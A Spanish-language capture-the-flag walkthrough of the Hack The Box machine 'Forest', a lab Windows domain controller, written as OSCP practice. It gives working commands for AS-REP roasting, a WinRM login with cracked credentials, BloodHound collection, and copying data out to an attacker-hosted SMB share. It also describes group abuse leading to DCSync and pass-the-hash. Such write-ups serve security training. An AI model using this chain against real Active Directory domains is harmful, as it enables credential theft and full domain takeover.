Forest - Hack The Box
Forest
Hoy vamos a estar resolviendo la maquina Forest, una maquina Windows de dificultad fácil, es una de las maquinas retiradas de HackTheBox pero este mes de Julio estarán disponibles para hacer de forma gratuita.
Tambien es una de las maquinas que recomiendan de hacer para prepararte para el OSCP:
ENUMERACIÓN CON NMAP
Lo primero de todo como siempre será enumerar que puertos tiene abiertos la maquina, para ellos vamos a utilizar la herramienta “nmap” con la que haremos un escaneo exhaustivo de puertos.
Para hacer un “Fast Scan” de puertos, siempre suelo utilizar esta sintaxis:
nmap -sS —min-rate 5000 -p- —open -n -Pn -vvv <IPMACHINE> -oN <FILENAME>
Ahora vamos a enumerar versiones y servicios de todos los puertos con Nmap:
nmap -sC -sV -p<PUERTOS> <IPMACHINE> -oN <FILENAME>
Vemos muchos puertos abiertos pero no temáis, mucho mejor tener puertos abiertos para poder escanearlos y ver si hay alguna missconfiguración de algún servicio que nos reporte información interesante. Este scan parece que estamos ante un DC (Domain Controller) asi que antes que nada como veo el puerto 53 abierto, que es un puerto de servicios DNS, voy a agregar al /etc/hosts la IP de la maquina y el dominio, voy a utilizar htb.local y forest.htb.local:
Pero no nos deja hacer una transferencia de zona.
ENUMERACIÓN DE SAMBA
Vamos a enumerar en el puerto 445 (SMB):
Con el uso de la herramienta smbclient y este comando podemos ver si hay algunos recursos compartidos:
smbclient -L <IPMACHINE> -N
-L = para listar el contenido
-N = para hacer uso de Null Session
ENUMERACIÓN DE RCP
Pero no vemos nada interesante, vamos a seguir enumerando, podemos intentar conseguir nombres de usuarios mediante RPC. En este caso voy a estar utilizando la herramienta “rpcenum” de S4vitaar.
Hacemos una lista con los usuarios potenciales:
ATAQUE AS-REP ROASTING
Vamos a intentar realizar un ataque AS-REP Roasting:
AS-REP Roasting es un ataque contra Kerberos para cuentas de usuario que no requieren autenticación previa (UF_DONT_REQUIRE_PREAUTH esta activado)
Con la herramienta GetNPUsers.py vamos a intentar encontrar un usuario con dicha cualidad:
Creamos un bucle para ir iterando en cada usuario:
for user in $(cat users); do python3 GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done
Obtenemos el hash del usuario svc-alfresco, vamos a crackearlo con john:
EVIL-WINRM PARA GANAR ACCESO
La contraseña es s3rvice, vamos a usarla para conectarnos con WinRM, para usar esta herramienta tiene que tener abierto el puerto 5985 de la maquina HTTP o 5986 HTTPS:
Para instalar esta herramienta: gem install evil-winrm
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
Y hemos obtenido una PowerShell:
Podemos ver la flag:
PRIV. ESCALATION
Vamos a enumerar el sistema con PowerUp.ps1 y SharpHound.ps1
Nos compartimos un servidor HTTP con python:
python3 -m http.server 80
Y en la maquina nos descargamos los dos archivos en un directorio en el que tengamos permisos:
Ejecutamos primero:
Invoke-AllChecks | Out-File -Encoding ASCI checks.txt
Pero no nos muestra nada interesante, el Path-Hijacking que nos muestra es un bug de la herramienta que no vamos a poder utilizar, asi que vamos a enumera con BloodHound, pero primero ejecutaremos el siguiente comando para que nos haga una enumeracion de todo el sistema y nos lo aguarde en un .zip:
USO E INSTALACION DE BLOODHOUND
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
Esto nos creara un archivo .zip que debemos importar al BloodHound:
Nos compartimos por medio de samba (smbserver.py) nuestra carpeta con el siguiente comando:
python3 smbserver.py share . -smb2support -username pwned -password password123
Nos hemos conectado y estamos compartiendo esa carpeta para ahora pasarnos el .zip creado con SharpHound:
copy <NOMBREDELZIP> \\<IP>\<DIRNAME>
Ahora tendremos que tener instalado el BloodHound en nuestra maquina, para ello hacemos:
apt-get install neo4j
Una vez se descargue:
neo4j console
Cuando se inicie abrimos el navegador y vamos a :
http://localhost:7474
Ponemos el usuario por defecto: u:neo4j p:neo4j
Instalamos el BloodHound:
apt-get install BloodHound
Y lo iniciamos : bloodhound
Una vez dentro importamos el .zip: Upload data y seleccionamos el .zip, vamos a analysis y clicamos en “find Shorter Paths to Domain Admins”:
Seguimos la ruta que nos marca el BloodHound:
Cross Domain Attacks – MS Exchange -Organization Management
El usuario svc-alfresco es miembro de ACCOUNT OPERATOR y este grupo tiene permisos de GenericAll en el grupo EXCHANGE WINDOWS PERMISIONS, hacemos click drecho en GenericAll y le damos a help, luego AbuseInfo y nos dira de que forma podemos aprovecharnos de esto:
EXPLOTACION PARA ESCALAR PRIVILEGIOS
Podemos crear un usuario y meterlo en dichos grupos:
Lo metemos en el grupo con el comando:
net group "exchange windows permissions" /add <USER>
Pasamos a la maquina el Script PowerView.ps1, nos compartimos un servidor con python y lo pasamos:
Damos los permisos al usuario creado para realizar el ataque DCSync:
Ejecutamos el ataque con la herramienta impacket-secretsdump y nos dara todos los hashes:
Ahora podemos realizar un Pass-The-Hash con la herramienta impacket-psexec, lo que nos permite conectarnos a la maquina con cualquier usuario sin necesidad de saber sus credenciales, solo con el hash:
Espero que os haya gustado la maquina tanto como a mi, para ser una maquina de dificultad fácil se me a asemejado mucho a nivel medium, pero me ha gustado mucho.